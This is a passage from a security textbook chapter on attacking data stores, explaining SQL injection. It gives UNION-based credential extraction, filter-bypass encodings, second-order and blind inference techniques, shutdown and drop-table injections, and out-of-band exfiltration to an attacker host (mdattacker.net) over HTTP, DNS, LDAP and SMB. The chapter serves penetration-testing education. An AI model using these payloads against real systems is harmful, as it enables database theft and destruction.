@@PACK_RECEIVED-@@PACK_RECEIVED MySQL: CONNECTION_ID()-CONNECTION_ID() NOTE The MS-SQL and Sybase databases share a common origin, so they have many similarities in relation to table structure, global variables, and stored procedures. In practice, the majority of the attack techniques against MS-SQL described in later sections will work in an identical way against Sybase. A further point of interest when fi ngerprinting databases is how MySQL handles certain types of inline comments. If a comment begins with an exclama- tion point followed by a database version string, the contents of the comment are interpreted as actual SQL, provided that the version of the actual database is equal to or later than that string. Otherwise, the contents are ignored and treated as a comment. Programmers can use this facility much like preproces- sor directives in C, enabling them to write different code that will be processed c09.indd 303c09.indd 303 8/19/2011 12:09:30 PM8/19/2011 12:09:30 PMStuttard c09.indd V3 - 07/28/2011 Page 304 304 Chapter 9 Attacking Data Stores conditionally upon the database version being used. An attacker also can use this facility to fi ngerprint the exact version of the database. For example, injecting the following string causes the WHERE clause of a SELECT statement to be false if the MySQL version in use is greater than or equal to 3.23.02: /*!32302 and 1=0*/ The UNION Operator The UNION operator is used in SQL to combine the results of two or more SELECT statements into a single result set. When a web application contains a SQL injec- tion vulnerability that occurs in a SELECT statement, you can often employ the UNION operator to perform a second, entirely separate query, and combine its results with those of the fi rst. If the results of the query are returned to your browser, this technique can be used to easily extract arbitrary data from within the database. UNION is supported by all major DBMS products. It is the quickest way to retrieve arbitrary information from the database in situations where query results are returned directly. Recall the application that enabled users to search for books based on author, title, publisher, and other criteria. Searching for books published by Wiley causes the application to perform the following query: SELECT author,title,year FROM books WHERE publisher = ‘Wiley’ Suppose that this query returns the following set of results: AUTHOR TITLE YEAR Litchfi eld The Database Hacker’s Handbook 2005 Anley The Shellcoder’s Handbook 2007 You saw earlier how an attacker could supply crafted input to the search function to subvert the query’s WHERE clause and therefore return all the books held within the database. A far more interesting attack would be to use the UNION operator to inject a second SELECT query and append its results to those of the fi rst. This second query can extract data from a different database table. For example, entering the search term: Wiley’ UNION SELECT username,password,uid FROM users-- causes the application to perform the following query: SELECT author,title,year FROM books WHERE publisher = ‘Wiley’ UNION SELECT username,password,uid FROM users--’ c09.indd 304c09.indd 304 8/19/2011 12:09:30 PM8/19/2011 12:09:30 PMStuttard c09.indd V3 - 07/28/2011 Page 305 Chapter 9 Attacking Data Stores 305 This returns the results of the original search followed by the contents of the users table: AUTHOR TITLE YEAR Litchfi eld The Database Hacker’s Handbook 2005 Anley The Shellcoder’s Handbook 2007 admin r00tr0x 0 cliff Reboot 1 NOTE When the results of two or more SELECT queries are combined using the UNION operator, the column names of the combined result set are the same as those returned by the fi rst SELECT query. As shown in the preceding table, usernames appear in the author column, and passwords appear in the title column. This means that when the application processes the results of the modifi ed query, it has no way of detecting that the data returned has originated from a different table. This simple example demonstrates the potentially huge power of the UNION operator when employed in a SQL injection attack. However, before it can be exploited in this way, two important provisos need to be considered: When the results of two queries are combined using the UNION operator, the two result sets must have the same structure. In other words, they must contain the same number of columns, which have the same or compatible data types, appearing in the same order. To inject a second query that will return interesting results, the attacker needs to know the name of the database table that he wants to target, and the names of its relevant columns. Let’s look a little deeper at the fi rst of these provisos. Suppose that the attacker attempts to inject a second query that returns an incorrect number of columns. He supplies this input: Wiley’ UNION SELECT username,password FROM users-- The original query returns three columns, and the injected query returns only two columns. Hence, the database returns the following error: ORA-01789: query block has incorrect number of result columns Suppose instead that the attacker attempts to inject a second query whose columns have incompatible data types. He supplies this input: Wiley’ UNION SELECT uid,username,password FROM users-- c09.indd 305c09.indd 305 8/19/2011 12:09:30 PM8/19/2011 12:09:30 PMStuttard c09.indd V3 - 07/28/2011 Page 306 306 Chapter 9 Attacking Data Stores This causes the database to attempt to combine the password column from the second query (which contains string data) with the year column from the fi rst query (which contains numeric data). Because string data cannot be converted into numeric data, this causes an error: ORA-01790: expression must have same datatype as corresponding expression NOTE The error messages shown here are for Oracle. The equivalent messages for other databases are listed in the later section “SQL Syntax and Error Reference.” In many real-world cases, the database error messages shown are trapped by the application and are not be returned to the user’s browser. It may appear, therefore, that in attempting to discover the structure of the fi rst query, you are restricted to pure guesswork. However, this is not the case. Three important points mean that your task usually is easy: For the injected query to be capable of being combined with the fi rst, it is not strictly necessary that it contain the same data types. Rather, they must be compatible. In other words, each data type in the second query must either be identical to the corresponding type in the fi rst or be implicitly convertible to it. You have already seen that databases implicitly convert a numeric value to a string value. In fact, the value NULL can be converted to any data type. Hence, if you do not know the data type of a particular fi eld, you can simply SELECT NULL for that fi eld. In cases where the application traps database error messages, you can easily determine whether your injected query was executed. If it was, additional results are added to those returned by the application from its original query. This enables you to work systematically until you discover the structure of the query you need to inject. In most cases, you can achieve your objectives simply by identifying a single fi eld within the original query that has a string data type. This is suffi cient for you to inject arbitrary queries that return string-based data and retrieve the results, enabling you to systematically extract any desired data from the database. HACK STEPS Your fi rst task is to discover the number of columns returned by the original query being executed by the application. You can do this in two ways: 1. You can exploit the fact that NULL can be converted to any data type to systematically inject queries with different numbers of columns until your injected query is executed. For example: c09.indd 306c09.indd 306 8/19/2011 12:09:31 PM8/19/2011 12:09:31 PMStuttard c09.indd V3 - 07/28/2011 Page 307 Chapter 9 Attacking Data Stores 307 ‘ UNION SELECT NULL-- ‘ UNION SELECT NULL, NULL-- ‘ UNION SELECT NULL, NULL, NULL-- When your query is executed, you have determined the number of col- umns required. If the application doesn’t return database error messages, you can still tell when your injected query was successful. An additional row of data will be returned, containing either the word NULL or an empty string. Note that the injected row may contain only empty table cells and so may be hard to see when rendered as HTML. For this reason it is preferable to look at the raw response when performing this attack. 2. Having identified the required number of columns, your next task is to discover a column that has a string data type so that you can use this to extract arbitrary data from the database. You can do this by injecting a query containing NULLs, as you did previously, and systematically replac- ing each NULL with a. For example, if you know that the query must return three columns, you can inject the following: ‘ UNION SELECT ‘a’, NULL, NULL-- ‘ UNION SELECT NULL, ‘a’, NULL-- ‘ UNION SELECT NULL, NULL, ‘a’-- When your query is executed, you see an additional row of data containing the value a. You can then use the relevant column to extract data from the database. NOTE In Oracle databases, every SELECT statement must include a FROM attribute, so injecting UNION SELECT NULL produces an error regardless of the number of columns. You can satisfy this requirement by selecting from the globally accessible table DUAL. For example: ‘ UNION SELECT NULL FROM DUAL-- When you have identifi ed the number of columns required in your injected query, and have found a column that has a string data type, you are in a position to extract arbitrary data. A simple proof-of-concept test is to extract the version string of the database, which can be done on any DBMS. For example, if there are three columns, and the fi rst column can take string data, you can extract the database version by injecting the following query on MS-SQL and MySQL: ‘ UNION SELECT @@version,NULL,NULL-- Injecting the following query achieves the same result on Oracle: ‘ UNION SELECT banner,NULL,NULL FROM v$version-- In the example of the vulnerable book search application, we can use this string as a search term to retrieve the version of the Oracle database: c09.indd 307c09.indd 307 8/19/2011 12:09:31 PM8/19/2011 12:09:31 PMStuttard c09.indd V3 - 07/28/2011 Page 308 308 Chapter 9 Attacking Data Stores AUTHOR TITLE YEAR CORE 9.2.0.1.0 Production NLSRTL Version 9.2.0.1.0 - Production Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production PL/SQL Release 9.2.0.1.0 - Production TNS for 32-bit Windows: Version 9.2.0.1.0 - Production Of course, even though the database’s version string may be interesting, and may enable you to research vulnerabilities with the specifi c software being used, in most cases you will be more interested in extracting actual data from the database. To do this, you typically need to address the second proviso described earlier. That is, you need to know the name of the database table you want to target and the names of its relevant columns. Extracting Useful Data To extract useful data from the database, normally you need to know the names of the tables and columns containing the data you want to access. The main enterprise DBMSs contain a rich amount of database metadata that you can query to discover the names of every table and column within the database. The methodology for extracting useful data is the same in each case; however, the details differ on different database platforms. Extracting Data with UNION Let’s look at an attack being performed against an MS-SQL database, but use a methodology that will work on all database technologies. Consider an address book application that allows users to maintain a list of contacts and query and update their details. When a user searches her address book for a contact named Matthew, her browser posts the following parameter: Name=Matthew and the application returns the following results: NAME E-MAIL Matthew Adamson handytrick@gmail.com c09.indd 308c09.indd 308 8/19/2011 12:09:31 PM8/19/2011 12:09:31 PMStuttard c09.indd V3 - 07/28/2011 Page 309 Chapter 9 Attacking Data Stores 309 TRY IT! http://mdsec.net/addressbook/32/ First, we need to determine the required number of columns. Testing for a single column results in an error message: Name=Matthew’%20union%20select%20null-- All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists. We add a second NULL, and the same error occurs. So we continue adding NULLs until our query is executed, generating an additional item in the results table: Name=Matthew’%20union%20select%20null,null,null,null,null-- NAME E-MAIL Matthew Adamson handytrick@gmail.com [empty] [empty] We now verify that the fi rst column in the query contains string data: Name=Matthew’%20union%20select%20’a’,null,null,null,null-- NAME E-MAIL Matthew Adamson handytrick@gmail.com a The next step is to fi nd out the names of the database tables and columns that may contain interesting information. We can do this by querying the metadata table information_schema.columns, which contains details of all tables and column names within the database. These can be retrieved with this query: Name=Matthew’%20union%20select%20table_name,column_name,null,null, null%20from%20information_schema.columns-- c09.indd 309c09.indd 309 8/19/2011 12:09:31 PM8/19/2011 12:09:31 PMStuttard c09.indd V3 - 07/28/2011 Page 310 310 Chapter 9 Attacking Data Stores NAME E-MAIL Matthew Adamson handytrick@gmail.com shop_items price shop_items prodid shop_items prodname addr_book contactemail addr_book contactname users username users password Here, the users table is an obvious place to begin extracting data. We could extract data from the users table using this query: Name=Matthew’%20UNION%20select%20username,password,null,null,null%20 from%20users-- NAME E-MAIL Matthew Adamson handytrick@gmail.com administrator fme69 dev uber marcus 8pinto smith twosixty jlo 6kdown TIP The information_schema is supported by MS-SQL, MySQL, and many other databases, including SQLite and Postgresql. It is designed to hold data- base metadata, making it a primary target for attackers wanting to examine the database. Note that Oracle doesn’t support this schema. When targeting an Oracle database, the attack would be identical in every other way. However, you would use the query SELECT table_name,column_name FROM all_tab_ columns to retrieve information about tables and columns in the database. (You would use the user_tab_columns table to focus on the current database only.) When analyzing large databases for points of attack, it is usually best to look directly for interesting column names rather than tables. For instance: SELECT table_name,column_name FROM information_schema.columns where column_name LIKE ‘%PASS%’ c09.indd 310c09.indd 310 8/19/2011 12:09:31 PM8/19/2011 12:09:31 PMStuttard c09.indd V3 - 07/28/2011 Page 311 Chapter 9 Attacking Data Stores 311 TIP When multiple columns are returned from a target table, these can be concatenated into a single column. This makes retrieval more straightforward, because it requires identifi cation of only a single varchar fi eld in the original query: Oracle: SELECT table_name||’:’||column_name FROM all_tab_columns MS-SQL: SELECT table_name+’:’+column_name from information_ schema.columns MySQL: SELECT CONCAT(table_name,’:’,column_name) from information_schema.columns Bypassing Filters In some situations, an application that is vulnerable to SQL injection may imple- ment various input fi lters that prevent you from exploiting the fl aw without restrictions. For example, the application may remove or sanitize certain characters or may block common SQL keywords. Filters of this kind are often vulnerable to bypasses, so you should try numerous tricks in this situation. Avoiding Blocked Characters If the application removes or encodes some characters that are often used in SQL injection attacks, you may still be able to perform an attack without these: The single quotation mark is not required if you are injecting into a numeric data fi eld or column name. If you need to introduce a string into your attack payload, you can do this without needing quotes. You can use various string functions to dynamically construct a string using the ASCII codes for individual characters. For example, the following two queries for Oracle and MS-SQL, respectively, are the equivalent of select ename, sal from emp where ename=’marcus’: SELECT ename, sal FROM emp where ename=CHR(109)||CHR(97)|| CHR(114)||CHR(99)||CHR(117)||CHR(115) SELECT ename, sal FROM emp WHERE ename=CHAR(109)+CHAR(97) +CHAR(114)+CHAR(99)+CHAR(117)+CHAR(115) If the comment symbol is blocked, you can often craft your injected data such that it does not break the syntax of the surrounding query, even without using this. For example, instead of injecting: ‘ or 1=1-- you can inject: ‘ or ‘a’=’a c09.indd 311c09.indd 311 8/19/2011 12:09:31 PM8/19/2011 12:09:31 PMStuttard c09.indd V3 - 07/28/2011 Page 312 312 Chapter 9 Attacking Data Stores When attempting to inject batched queries into an MS-SQL database, you do not need to use the semicolon separator. Provided that you fi x the syntax of all queries in the batch, the query parser will interpret them correctly, whether or not you include a semicolon. TRY IT! http://mdsec.net/addressbook/71/ http://mdsec.net/addressbook/76/ Circumventing Simple Validation Some input validation routines employ a simple blacklist and either block or remove any supplied data that appears on this list. In this instance, you should try the standard attacks, looking for common defects in validation and canoni- calization mechanisms, as described in Chapter 2. For example, if the SELECT keyword is being blocked or removed, you can try the following bypasses: SeLeCt %00SELECT SELSELECTECT %53%45%4c%45%43%54 %2553%2545%254c%2545%2543%2554 TRY IT! http://mdsec.net/addressbook/58/ http://mdsec.net/addressbook/62/ Using SQL Comments You can insert inline comments into SQL statements in the same way as for C++, by embedding them between the symbols /* and */. If the application blocks or strips spaces from your input, you can use comments to simulate whitespace within your injected data. For example: SELECT/*foo*/username,password/*foo*/FROM/*foo*/users In MySQL, comments can even be inserted within keywords themselves, which provides another means of bypassing some input validation fi lters while preserving the syntax of the actual query. For example: SEL/*foo*/ECT username,password FR/*foo*/OM users c09.indd 312c09.indd 312 8/19/2011 12:09:31 PM8/19/2011 12:09:31 PMStuttard c09.indd V3 - 07/28/2011 Page 313 Chapter 9 Attacking Data Stores 313 Exploiting Defective Filters Input validation routines often contain logic fl aws that you can exploit to smuggle blocked input past the fi lter. These attacks often exploit the ordering of multiple validation steps, or the failure to apply sanitization logic recursively. Some attacks of this kind are described in Chapter 11. TRY IT! http://mdsec.net/addressbook/67/ Second-Order SQL Injection A particularly interesting type of fi lter bypass arises in connection with second- order SQL injection. Many applications handle data safely when it is fi rst inserted into the database. Once data is stored in the database, it may later be processed in unsafe ways, either by the application itself or by other back-end processes. Many of these are not of the same quality as the primary Internet-facing appli- cation but have high-privileged database accounts. In some applications, input from the user is validated on arrival by escaping a single quote. In the original book search example, this approach appears to be effective. When the user enters the search term O’Reilly, the application makes the following query: SELECT author,title,year FROM books WHERE publisher = ‘O’’Reilly’ Here, the single quotation mark supplied by the user has been converted into two single quotation marks. Therefore, the item passed to the database has the same literal signifi cance as the original expression the user entered. One problem with the doubling-up approach arises in more complex situa- tions where the same item of data passes through several SQL queries, being written to the database and then read back more than once. This is one example of the shortcomings of simple input validation as opposed to boundary validation, as described in Chapter 2. Recall the application that allowed users to self-register and contained a SQL injection fl aw in an INSERT statement. Suppose that developers attempt to fi x the vulnerability by doubling up any single quotation marks that appear within user data. Attempting to register the username foo’ results in the following query, which causes no problems for the database: INSERT INTO users (username, password, ID, privs) VALUES (‘foo’’’, ‘secret’, 2248, 1) c09.indd 313c09.indd 313 8/19/2011 12:09:31 PM8/19/2011 12:09:31 PMStuttard c09.indd V3 - 07/28/2011 Page 314 314 Chapter 9 Attacking Data Stores So far, so good. However, suppose that the application also implements a password change function. This function is reachable only by authenticated users, but for extra protection, the application requires users to submit their old password. It then verifi es that this is correct by retrieving the user’s cur- rent password from the database and comparing the two strings. To do this, it fi rst retrieves the user’s username from the database and then constructs the following query: SELECT password FROM users WHERE username = ‘foo’’ Because the username stored in the database is the literal string foo’, this is the value that the database returns when this value is queried. The doubled- up escape sequence is used only at the point where strings are passed into the database. Therefore, when the application reuses this string and embeds it into a second query, a SQL injection fl aw arises, and the user’s original bad input is embedded directly into the query. When the user attempts to change the pass- word, the application returns the following message, which reveals the fl aw: Unclosed quotation mark before the character string ‘foo To exploit this vulnerability, an attacker can simply register a username containing his crafted input, and then attempt to change his password. For example, if the following username is registered: ‘ or 1 in (select password from users where username=’admin’)-- the registration step itself will be handled securely. When the attacker tries to change his password, his injected query will be executed, resulting in the fol- lowing message, which discloses the admin user’s password: Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘fme69’ to a column of data type int. The attacker has successfully bypassed the input validation that was designed to block SQL injection attacks. Now he has a way to execute arbitrary queries within the database and retrieve the results. TRY IT! http://mdsec.net/addressbook/107/ Advanced Exploitation All the attacks described so far have had a ready means of retrieving any use- ful data that was extracted from the database, such as by performing a UNION attack or returning data in an error message. As awareness of SQL injection c09.indd 314c09.indd 314 8/19/2011 12:09:31 PM8/19/2011 12:09:31 PMStuttard c09.indd V3 - 07/28/2011 Page 315 Chapter 9 Attacking Data Stores 315 threats has evolved, this kind of situation has become gradually less common. It is increasingly the case that the SQL injection fl aws that you encounter will be in situations where retrieving the results of your injected queries is not straightforward. We will look at several ways in which this problem can arise, and how you can deal with it. NOTE Application owners should be aware that not every attacker is inter- ested in stealing sensitive data. Some may be more destructive. For example, by supplying just 12 characters of input, an attacker could turn off an MS-SQL database with the shutdown command: ‘ shutdown-- An attacker could also inject malicious commands to drop individual tables with commands such as these: ‘ drop table users-- ‘ drop table accounts-- ‘ drop table customers-- Retrieving Data as Numbers It is fairly common to fi nd that no string fi elds within an application are vulner- able to SQL injection, because input containing single quotation marks is being handled properly. However, vulnerabilities may still exist within numeric data fi elds, where user input is not encapsulated within single quotes. Often in these situations, the only means of retrieving the results of your injected queries is via a numeric response from the application. In this situation, your challenge is to process the results of your injected queries in such a way that meaningful data can be retrieved in numeric form. Two key functions can be used here: ASCII, which returns the ASCII code for the input character SUBSTRING (or SUBSTR in Oracle), which returns a substring of its input These functions can be used together to extract a single character from a string in numeric form. For example: SUBSTRING(‘Admin’,1,1) returns A. ASCII(‘A’) returns 65. Therefore: ASCII(SUBSTR(‘Admin’,1,1)) returns 65. Using these two functions, you can systematically cut a string of useful data into its individual characters and return each of these separately, in numeric form. In a scripted attack, this technique can be used to quickly retrieve and reconstruct a large amount of string-based data one byte at a time. c09.indd 315c09.indd 315 8/19/2011 12:09:31 PM8/19/2011 12:09:31 PMStuttard c09.indd V3 - 07/28/2011 Page 316 316 Chapter 9 Attacking Data Stores TIP There are numerous subtle variations in how different database plat- forms handle string manipulation and numeric computation, which you may need to take into account when performing advanced attacks of this kind. An excellent guide to these differences covering many different databases can be found at http://sqlzoo.net/howto/source/z.dir/i08fun.xml. In a variation on this situation, the authors have encountered cases in which what is returned by the application is not an actual number, but a resource for which that number is an identifi er. The application performs a SQL query based on user input, obtains a numeric identifi er for a document, and then returns the document’s contents to the user. In this situation, an attacker can fi rst obtain a copy of every document whose identifi ers are within the relevant numeric range and construct a mapping of document contents to identifi ers. Then, when performing the attack described previously, the attacker can consult this map to determine the identifi er for each document received from the application and thereby retrieve the ASCII value of the character he has successfully extracted. Using an Out-of-Band Channel In many cases of SQL injection, the application does not return the results of any injected query to the user’s browser, nor does it return any error messages generated by the database. In this situation, it may appear that your position is futile. Even if a SQL injection fl aw exists, it surely cannot be exploited to extract arbitrary data or perform any other action. This appearance is false, however. You can try various techniques to retrieve data and verify that other malicious actions have been successful. There are many circumstances in which you may be able to inject an arbitrary query but not retrieve its results. Recall the example of the vulnerable login form, where the username and password fi elds are vulnerable to SQL injection: SELECT * FROM users WHERE username = ‘marcus’ and password = ‘secret’ In addition to modifying the query’s logic to bypass the login, you can inject an entirely separate subquery using string concatenation to join its results to the item you control. For example: foo’ || (SELECT 1 FROM dual WHERE (SELECT username FROM all_users WHERE username = ‘DBSNMP’) = ‘DBSNMP’)-- This causes the application to perform the following query: SELECT * FROM users WHERE username = ‘foo’ || (SELECT 1 FROM dual WHERE (SELECT username FROM all_users WHERE username = ‘DBSNMP’) = ‘DBSNMP’) c09.indd 316c09.indd 316 8/19/2011 12:09:31 PM8/19/2011 12:09:31 PMStuttard c09.indd V3 - 07/28/2011 Page 317 Chapter 9 Attacking Data Stores 317 The database executes your arbitrary subquery, appends its results to foo, and then looks up the details of the resulting username. Of course, the login will fail, but your injected query will have been executed. All you will receive back in the application’s response is the standard login failure message. What you then need is a way to retrieve the results of your injected query. A different situation arises when you can employ batch queries against MS-SQL databases. Batch queries are extremely useful, because they allow you to execute an entirely separate statement over which you have full control, using a different SQL verb and targeting a different table. However, because of how batch queries are carried out, the results of an injected query cannot be retrieved directly. Again, you need a means of retrieving the lost results of your injected query. One method for retrieving data that is often effective in this situation is to use an out-of-band channel. Having achieved the ability to execute arbitrary SQL statements within the database, it is often possible to leverage some of the database’s built-in functionality to create a network connection back to your own computer, over which you can transmit arbitrary data that you have gathered from the database. The means of creating a suitable network connection are highly database- dependent. Different methods may or may not be available given the privilege level of the database user with which the application is accessing the database. Some of the most common and effective techniques for each type of database are described here. MS-SQL On older databases such as MS-SQL 2000 and earlier, the OpenRowSet command can be used to open a connection to an external database and insert arbitrary data into it. For example, the following query causes the target database to open a connection to the attacker’s database and insert the version string of the target database into the table called foo: insert into openrowset(‘SQLOLEDB’, ‘DRIVER={SQL Server};SERVER=mdattacker.net,80;UID=sa;PWD=letmein’, ‘select * from foo’) values (@@version) Note that you can specify port 80, or any other likely value, to increase your chance of making an outbound connection through any fi rewalls. Oracle Oracle contains a large amount of default functionality that is accessible by low-privileged users and that can be used to create an out-of-band connection. The UTL_HTTP package can be used to make arbitrary HTTP requests to other hosts. UTL_HTTP contains rich functionality and supports proxy servers, cookies, redirects, and authentication. This means that an attacker who has compromised c09.indd 317c09.indd 317 8/19/2011 12:09:31 PM8/19/2011 12:09:31 PMStuttard c09.indd V3 - 07/28/2011 Page 318 318 Chapter 9 Attacking Data Stores a database on a highly restricted internal corporate network may be able to leverage a corporate proxy to initiate outbound connections to the Internet. In the following example, UTL_HTTP is used to transmit the results of an injected query to a server controlled by the attacker: /employees.asp?EmpNo=7521’||UTL_HTTP.request(‘mdattacker.net:80/’|| (SELECT%20username%20FROM%20all_users%20WHERE%20ROWNUM%3d1))-- This URL causes UTL_HTTP to make a GET request for a URL containing the fi rst username in the table all_users. The attacker can simply set up a netcat listener on mdattacker.net to receive the result: C:\>nc -nLp 80 GET /SYS HTTP/1.1 Host: mdattacker.net Connection: close The UTL_INADDR package is designed to be used to resolve hostnames to IP addresses. It can be used to generate arbitrary DNS queries to a server con- trolled by the attacker. In many situations, this is more likely to succeed than the UTL_HTTP attack, because DNS traffi c is often allowed out through corporate fi rewalls even when HTTP traffi c is restricted. The attacker can leverage this package to perform a lookup on a hostname of his choice, effectively retrieving arbitrary data by prepending it as a subdomain to a domain name he controls. For example: /employees.asp?EmpNo=7521’||UTL_INADDR.GET_HOST_NAME((SELECT%20PASSWORD% 20FROM%20DBA_USERS%20WHERE%20NAME=’SYS’)||’.mdattacker.net’) This results in a DNS query to the mdattacker.net name server containing the SYS user’s password hash: DCB748A5BC5390F2.mdattacker.net The UTL_SMTP package can be used to send e-mails. This facility can be used to retrieve large volumes of data captured from the database by sending this in outbound e-mails. The UTL_TCP package can be used to open arbitrary TCP sockets to send and receive network data. NOTE On Oracle 11g, an additional ACL protects many of the resources just described from execution by any arbitrary database user. An easy way around this is to dip into the new functionality provided in Oracle 11g and use this code: SYS.DBMS_LDAP.INIT((SELECT PASSWORD FROM SYS.USER$ WHERE NAME=’SYS’)||’.mdsec.net’,80) c09.indd 318c09.indd 318 8/19/2011 12:09:31 PM8/19/2011 12:09:31 PMStuttard c09.indd V3 - 07/28/2011 Page 319 Chapter 9 Attacking Data Stores 319 MySQL The SELECT ... INTO OUTFILE command can be used to direct the output from an arbitrary query into a fi le. The specifi ed fi lename may contain a UNC path, enabling you to direct the output to a fi le on your own computer. For example: select * into outfile ‘\\\\mdattacker.net\\share\\output.txt’ from users; To receive the fi le, you need to create an SMB share on your computer that allows anonymous write access. You can confi gure shares on both Windows and UNIX-based platforms to behave in this way. If you have diffi culty receiv- ing the exported fi le, this may result from a confi guration issue in your SMB server. You can use a sniffer to confi rm whether the target server is initiating any inbound connections to your computer. If it is, consult your server docu- mentation to ensure that it is confi gured correctly. Leveraging the Operating System It is often possible to perform escalation attacks via the database that result in execution of arbitrary commands on the operating system of the database server itself. In this situation, many more avenues are available to you for retrieving data, such as using built-in commands like tftp, mail, and telnet, or copying data into the web root for retrieval using a browser. See the later section “Beyond SQL Injection” for techniques for escalating privileges on the database itself. Using Inference: Conditional Responses There are many reasons why an out-of-band channel may be unavailable. Most commonly this occurs because the database is located within a protected net- work whose perimeter fi rewalls do not allow any outbound connections to the Internet or any other network. In this situation, you are restricted to accessing the database entirely via your injection point into the web application. In this situation, working more or less blind, you can use many techniques to retrieve arbitrary data from within the database. These techniques are all based on the concept of using an injected query to conditionally trigger some detectable behavior by the database and then inferring a required item of infor- mation on the basis of whether this behavior occurs. Recall the vulnerable login function where the username and password fi elds can be injected into to perform arbitrary queries: SELECT * FROM users WHERE username = ‘marcus’ and password = ‘secret’ Suppose that you have not identifi ed any method of transmitting the results of your injected queries back to the browser. Nevertheless, you have already seen how you can use SQL injection to modify the application’s behavior. c09.indd 319c09.indd 319 8/19/2011 12:09:32 PM8/19/2011 12:09:32 PMStuttard c09.indd V3 - 07/28/2011 Page 320 320 Chapter 9 Attacking Data Stores For example, submitting the following two pieces of input causes very differ- ent results: admin’ AND 1=1-- admin’ AND 1=2-- In the fi rst case, the application logs you in as the admin user. In the second case, the login attempt fails, because the 1=2 condition is always false. You can leverage this control of the application’s behavior as a means of inferring the truth or falsehood of arbitrary conditions within the database itself. For example, using the ASCII and SUBSTRING functions described previously, you can test whether a specifi c character of a captured string has a specifi c value. For example, submitting this piece of input logs you in as the admin user, because the condition tested is true: admin’ AND ASCII(SUBSTRING(‘Admin’,1,1)) = 65-- Submitting the following input, however, results in a failed login, because the condition tested is false: admin’ AND ASCII(SUBSTRING(‘Admin’,1,1)) = 66-- By submitting a large number of such queries, cycling through the range of likely ASCII codes for each character until a hit occurs, you can extract the entire string, one byte at a time. Inducing Conditional Errors In the preceding example, the application contained some prominent function- ality whose logic could be directly controlled by injecting into an existing SQL query. The application’s designed behavior (a successful versus a failed login) could be hijacked to return a single item of information to the attacker. However, not all situations are this straightforward. In some cases, you may be injecting into a query that has no noticeable effect on the application’s behavior, such as a logging mechanism. In other cases, you may be injecting a subquery or a batched query whose results are not processed by the application in any way. In this situation, you may struggle to fi nd a way to cause a detectable difference in behavior that is contingent on a specifi ed condition. David Litchfi eld devised a technique that can be used to trigger a detect- able difference in behavior in most circumstances. The core idea is to inject a query that induces a database error contingent on some specifi ed condi- tion. When a database error occurs, it is often externally detectable, either through an HTTP 500 response code or through some kind of error message or anomalous behavior (even if the error message itself does not disclose any useful information). c09.indd 320c09.indd 320 8/19/2011 12:09:32 PM8/19/2011 12:09:32 PMStuttard c09.indd V3 - 07/28/2011 Page 321 Chapter 9 Attacking Data Stores 321 The technique relies on a feature of database behavior when evaluating con- ditional statements: the database evaluates only those parts of the statement that need to be evaluated given the status of other parts. An example of this behavior is a SELECT statement containing a WHERE clause: SELECT X FROM Y WHERE C This causes the database to work through each row of table Y, evaluating condition C, and returning X in those cases where condition C is true. If condi- tion C is never true, the expression X is never evaluated. This behavior can be exploited by fi nding an expression X that is syntactically valid but that generates an error if it is ever evaluated. An example of such an expression in Oracle and MS-SQL is a divide-by-zero computation, such as 1/0. If condition C is ever true, expression X is evaluated, causing a database error. If condition C is always false, no error is generated. You can, therefore, use the presence or absence of an error to test an arbitrary condition C. An example of this is the following query, which tests whether the default Oracle user DBSNMP exists. If this user exists, the expression 1/0 is evaluated, causing an error: SELECT 1/0 FROM dual WHERE (SELECT username FROM all_users WHERE username = ‘DBSNMP’) = ‘DBSNMP’ The following query tests whether an invented user AAAAAA exists. Because the WHERE condition is never true, the expression 1/0 is not evaluated, so no error occurs: SELECT 1/0 FROM dual WHERE (SELECT username FROM all_users WHERE username = ‘AAAAAA’) = ‘AAAAAA’ What this technique achieves is a way of inducing a conditional response within the application, even in cases where the query you are injecting has no impact on the application’s logic or data processing. It therefore enables you to use the inference techniques described previously to extract data in a wide range of situations. Furthermore, because of the technique’s simplicity, the same attack strings will work on a range of databases, and where the injection point is into various types of SQL statements. This technique is also versatile because it can be used in all kinds of injection points where a subquery can be injected. For example: (select 1 where <> or 1/0=0) Consider an application that provides a searchable and sortable contacts database. The user controls the parameters department and sort: /search.jsp?department=30&sort=ename c09.indd 321c09.indd 321 8/19/2011 12:09:32 PM8/19/2011 12:09:32 PMStuttard c09.indd V3 - 07/28/2011 Page 322 322 Chapter 9 Attacking Data Stores This appears in the following back-end query, which parameterizes the depart- ment parameter but concatenates the sort parameter onto the query: String queryText = “SELECT ename,job,deptno,hiredate FROM emp WHERE deptno = ? ORDER BY “ + request.getParameter(“sort”) + “ DESC”; It is not possible to alter the WHERE clause, or issue a UNION query after an ORDER BY clause; however, an attacker can create an inference condition by issuing the following statement: /search.jsp?department=20&sort=(select%201/0%20from%20dual%20where%20 (select%20substr(max(object_name),1,1)%20FROM%20user_objects)=’Y’) If the fi rst letter of the fi rst object name in the user_objects table is equal to ‘Y’, this will cause the database to attempt to evaluate 1/0. This will result in an error, and no results will be returned by the overall query. If the letter is not equal to ‘Y’, results from the original query will be returned in the default order. Carefully supplying this condition to an SQL injection tool such as Absinthe or SQLMap, we can retrieve every record in the database. Using Time Delays Despite all the sophisticated techniques already described, there may yet be situations in which none of these tricks are effective. In some cases, you may be able to inject a query that returns no results to the browser, cannot be used to open an out-of-band channel, and that has no effect on the application’s behavior, even if it induces an error within the database itself. In this situation, all is not lost, thanks to a technique invented by Chris Anley and Sherief Hammad of NGSSoftware. They devised a way of crafting a query that would cause a time delay, contingent on some condition specifi ed by the attacker. The attacker can submit his query and then monitor the time taken for the server to respond. If a delay occurs, the attacker may infer that the condi- tion is true. Even if the actual content of the application’s response is identical in the two cases, the presence or absence of a time delay enables the attacker to extract a single bit of information from the database. By performing numerous such queries, the attacker can systematically retrieve arbitrarily complex data from the database one bit at a time. The precise means of inducing a suitable time delay depends on the target database being used. MS-SQL contains a built-in WAITFOR command, which can be used to cause a specifi ed time delay. For example, the following query causes a time delay of 5 seconds if the current database user is sa: if (select user) = ‘sa’ waitfor delay ‘0:0:5’ c09.indd 322c09.indd 322 8/19/2011 12:09:32 PM8/19/2011 12:09:32 PMStuttard c09.indd V3 - 07/28/2011 Page 323 Chapter 9 Attacking Data Stores 323 Equipped with this command, the attacker can retrieve arbitrary informa- tion in various ways. One method is to leverage the same technique already described for the case where the application returns conditional responses. Now, instead of triggering a different application response when a particular condition is detected, the injected query induces a time delay. For example, the second of these queries causes a time delay, indicating that the fi rst letter of the captured string is A: 